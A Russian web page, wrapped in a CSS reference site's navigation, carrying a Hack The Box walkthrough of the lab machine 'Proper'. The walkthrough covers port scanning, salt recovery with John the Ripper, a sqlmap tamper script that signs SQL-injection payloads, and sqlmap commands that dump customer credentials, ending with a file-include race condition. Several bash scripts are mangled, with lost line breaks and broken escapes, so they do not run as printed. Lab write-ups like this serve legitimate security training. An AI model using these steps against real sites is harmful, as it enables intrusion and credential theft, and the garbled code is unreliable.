Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
IP машины — 10.10.10.231, заносим его в /
:
10.10.10.231 proper.htb
И сканируем порты.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем всего один открытый порт — 80, там откликается веб‑сервер Microsoft IIS httpd 10.0.
Приступаем к осмотру сайта.
На самом сайте зацепиться не за что, поэтому врубаем перебор каталогов.
Сканирование сайта методом перебора каталогов и файлов по словарю — это одно из первых действий при пентесте веб‑приложения. Для этого обычно применяют dirsearch, DIRB или более быстрый gobuster. Мы же в этой статье будем использовать встроенные средства Burp Suite.
Перехватываем запрос в Burp Proxy и в контекстном меню выбираем Engagement tools → Discover content. Указываем глубину сканирования, интересующие нас расширения файлов и бэкапов.
Спустя несколько минут (если ты, как и я, выбрал 200 потоков для сканирования) получим карту сайта, отталкиваясь от которой будем определять следующий вектор атаки.
Я посмотрел все комментарии на всех страницах (в контекстном меню Engagement tools → Find comments), но снова ничего важного. А вот файл products-ajax.
принимает какие‑то необычные параметры. Закинем этот запрос в Burp Repeater для теста. В таких случаях стоит получить все возможные ответы от сервера при разном количестве параметров и даже их разном значении. Так, если удалить один из параметров, то получаем ошибку, содержащую соль. А если изменить значение любого из параметров, то нам сообщат об обнаружении атаки.
Так как используется соль, параметр h
, скорее всего, хеш MD5 от значения параметра order
. Если его изменить, это приведет к ошибке, что подтверждает нашу догадку. Чтобы это проверить, нужно попробовать все возможные варианты хеширования с использованием соли. Их можно найти в справке к программе John the Ripper.
john --list=subformats | grep md5
Варианты хеширования MD5 с использованием солиДля определения алгоритма нам нужно создать словарь (word
), содержащий строку id
, и файл с хешем и солью (hash
), записанными через знак доллара: hash$salt
. Затем перебираем все возможные форматы. Чтобы сделать это быстро, напишем скрипт Bash, который будет парсить формат из вывода справки, а затем применять его в команде брута хеша.
Сначала установим перенос строки в качестве разделителя (IFS
), а потом будем в цикле получать каждую строку из справки (переменная entry
). Для каждой такой строки (например, Format = dynamic_29 type = dynamic_29: md5(utf16($p))
) будем парсить формат:
tr -d ' '
удаляем из строки все пробелы (результат: Format=dynamic_29 type=dynamic_29:md5(utf16($p))
).cut -d '=' -f 3
разделяем строку по символу =
и получаем третью часть (результат: dynamic_29:md5(utf16($p))
).cut -d ':' -f 1
разделяем строку по символу :
и получаем первую часть (результат: dynamic_29
).Затем выполняем перебор по полученному алгоритму (john --format=$format --wordlist=word hash
). Так выглядит полный скрипт:
IFS=$''for entry in $(john --list=subformats | grep md5)doformat="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)" echo -e "nFormat:$format---------------------------------n"john --format=$format --wordlist=word hashdone
Результат перебора алгоритмовДля формата dynamic_4
(salt
) перебор закончился успешно. Так мы подтверждаем свое предположение и получаем искомый алгоритм хеширования с использованием соли.
Теперь мы можем манипулировать значением параметров так, чтобы они обрабатывались приложением. Текст ошибки натолкнул меня на мысль, что можно было бы написать tamper для sqlmap, хотя мы пока так и не установили достоверно, есть ли здесь возможность SQL-инъекции.
Темперы — это скрипты для sqlmap, которые преобразуют его запросы.
#!/usr/bin/env python
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
'''
h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest()
return quote_plus(payload) + "&h=" + h
Этот файл (я назвал его sqlmap_tamper.
) нужно разместить в директории /
, после чего запускаем sqlmap и проверяем, есть ли уязвимость. Нам нужно указать наш темпер в параметре tamper
, задать опцию -p
для проверки, а также то, что мы не хотим использовать кодирование URL.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --batch --skip-urlencode --tamper=sqlmap_tamper
Результат выполнения sqlmapИ мы попали в точку: приложение уязвимо к time-based SQL-инъекции, о чем нам и сообщил sqlmap. Эта чудо‑программа сохранила у себя шаблон нагрузки для заданного URL, поэтому мы можем спокойно продолжать работу и доставать необходимые данные — к примеру, названия баз данных (опция --dbs
).
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper --dbs
Получение имен баз данных с помощью sqlmapТак мы получаем три базы данных: служебная information_schema
, тестовая test
и, скорее всего, нужная нам база данных приложения — cleaner
. Получим все таблицы из базы опцией --tables
, а саму базу указываем в параметре -D
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper -Dcleaner --tables
Получение таблиц в базе cleaner с помощью sqlmapВ базе есть три таблицы, и в одной из них должны быть учетные данные. Скорее всего, нам подойдет таблица customers
. Получим названия столбцов опцией --columns
, указав таблицу в параметре -T
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper -Dcleaner -Tcustomers --columns
Получение столбцов в таблице customers с помощью sqlmapДействительно, нашлись учетные данные! Давай получим значения (опция --dump
) из столбцов login
и passwords
. Столбцы указываем через запятую в параметре -C
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper -Dcleaner -Tcustomers -Clogin,password --dump
Получение учетных данныхИзвлечение данных происходит очень долго, поэтому попробуем взломать уже полученные хеши. Перебор с солью ни к чему не привел, поэтому я попробовал взломать хеш без соли при помощи md5decrypt.net. Это дало результат!
Авторизуемся с полученными учетными данными на сайте. Нам теперь открываются дополнительные возможности, одна из них — смена цветовой темы. Причем интересен сам способ ее смены: тема устанавливается через передачу GET-параметра theme
.
Стоит протестировать GET-параметры так же, как и в прошлый раз. Если мы изменим или удалим один из них, то нам сообщат об обнаружении атаки. Но раз мы знаем, как осуществляется подпись, давай укажем значение, которое будет обработано сервером, к примеру test
.
Как мы видим из текста ошибки, из указанной нами директории подключается файл header.
(строка 12) с помощью функции file_get_contents
, и если в файле отсутствует последовательность символов <
(строка 18), то он добавляется как include (строка 19).
Таким образом, обращение к файлу происходит дважды, а это означает уязвимость к атаке типа race condition: перед проверкой и включением файла его содержимое возможно изменить.
|
|